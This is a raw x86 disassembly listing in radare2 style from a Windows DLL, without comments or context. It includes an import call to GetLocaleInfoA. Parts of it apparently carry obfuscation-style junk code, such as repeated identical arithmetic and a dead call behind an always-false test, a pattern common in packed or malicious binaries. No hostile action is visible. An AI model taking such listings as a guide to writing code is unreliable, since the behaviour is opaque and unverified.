mov dword [ebp - 0x28], eax
jmp 0x1001c8e0
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0xaa]
movsx eax, byte [ebp + eax - 0x15c]
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [ebp + ecx - 0xa7]
and ecx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0xaa]
movsx eax, byte [ebp + eax - 0x15c]
mov edx, dword [ebp - 0x28]
movzx edx, byte [ebp + edx - 0xa7]
and edx, eax
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x1ac]
movzx eax, byte [ebp + eax - 0xaa]
movsx eax, byte [ebp + eax - 0x15c]
mov esi, dword [ebp - 0x28]
movzx ebx, byte [ebp + esi - 0xa7]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x28]
movzx eax, byte [ebp + eax - 0xa8]
mov byte [ebp + eax - 0x15c], bl
and dword [ebp - 0x1ac], 0
jmp 0x1001c8e0
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0x15c], 0
mov eax, dword [0x1060f954]
and eax, 4
jne 0x1001ca12
mov eax, dword [0x1060f954]
or eax, 4
mov dword [0x1060f954], eax
mov dword [ebp - 4], 0x3a
lea eax, [ebp - 0x15c]
push eax
mov ecx, 0x1060f8c4
call fcn.10021322
push 0x10068d7a
call fcn.10051352
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x2bc], 0
jmp 0x1001ca28
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 4
jae 0x1001ca41
mov eax, dword [ebp - 0x2bc]
mov byte [ebp + eax - 0x15c], 0
jmp 0x1001ca1b
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x164], eax
movsx eax, byte [0x1060f8f0]
mov ecx, dword [ebp - 0x164]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1001ca70
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
jmp 0x1001ca4d
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
push dword [ebp - 0x164]
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x10ac]
call fcn.10023e8c
mov dword [ebp - 4], 0x3b
push 0x1060f8c4
lea ecx, [ebp - 0x10ac]
call fcn.1002135b
lea eax, [ebp - 0x1018]
push eax
lea ecx, [ebp - 0x10ac]
call fcn.10021380
push dword [eax]
lea eax, [ebp - 0xf08]
push eax
lea ecx, [ebp - 0x10ac]
call fcn.1002136c
push dword [eax]
lea ecx, [ebp - 0x1148]
call fcn.10023eb5
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1148]
push eax
call fcn.1000ae1a
pop ecx
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
je 0x1001cb7b
push dword [ebp - 0x164]
lea ecx, [ebp - 0x1110]
call fcn.10021322
mov byte [ebp - 4], 0x3d
lea edx, [ebp - 0xaf4]
lea ecx, [ebp - 0x1110]
call fcn.1000a577
movzx eax, al
test eax, eax
je 0x1001cb4b
push 0
push dword [ebp - 0xaf4]
push 0
push dword [ebp - 0x408]
call fcn.100149df
add esp, 0x10
mov dword [ebp - 0xc0], eax
jmp 0x1001cb6a
push 1
push 0
lea eax, [ebp - 0x1110]
push eax
push dword [ebp - 0x408]
call fcn.100149df
add esp, 0x10
mov dword [ebp - 0xc0], eax
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x1110]
call fcn.10021351
jmp 0x1001cbb1
cmp dword [ebp + 0x10], 0
jne 0x1001cb91
mov ecx, dword [ebp + 0xc]
call fcn.10021159
mov dword [ebp - 0x500], eax
jmp 0x1001cb9b
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x500], eax
push dword [ebp - 0x500]
push dword [ebp + 8]
call fcn.1000f5e2
pop ecx
pop ecx
mov dword [ebp - 0xc0], eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1148]
call fcn.100212db
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10ac]
call fcn.10021351
mov eax, dword [ebp - 0xc0]
jmp 0x1001cd2b
mov dword [ebp - 0x2cc], 0xffffffff
mov dword [ebp - 0x2c4], 0
jmp 0x1001cbfd
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 2
jge 0x1001cc19
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0xf40], 1
jmp 0x1001cbf0
mov dword [ebp - 0x2cc], 1
jmp 0x1001cc32
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
jl 0x1001cd29
push 2
lea ecx, [ebp - 0xa54]
call fcn.100213ce
mov dword [ebp - 4], 0x3e
mov dword [ebp - 0x2d4], 0
jmp 0x1001cc6c
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 2
jge 0x1001cc8e
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0xa54]
call fcn.100214c8
mov dword [eax], 1
jmp 0x1001cc5f
push 1
lea ecx, [ebp - 0xa54]
call fcn.100214c8
and dword [eax], 0
jmp 0x1001ccc4
push 1
lea ecx, [ebp - 0xa54]
call fcn.100214c8
mov dword [ebp - 0x508], eax
mov eax, dword [ebp - 0x508]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x508]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xa54]
call fcn.100214c8
cmp dword [eax], 2
jge 0x1001ccf2
push 1
lea ecx, [ebp - 0xa54]
call fcn.100214c8
mov eax, dword [eax]
mov dword [ebp + eax*4 - 0xf40], 6
jmp 0x1001cca0
mov byte [ebp - 0xdc], 0
movzx eax, byte [ebp - 0xdc]
test eax, eax
je 0x1001cd15
push 0x130f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa54]
call fcn.100214a3
jmp 0x1001cc25
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret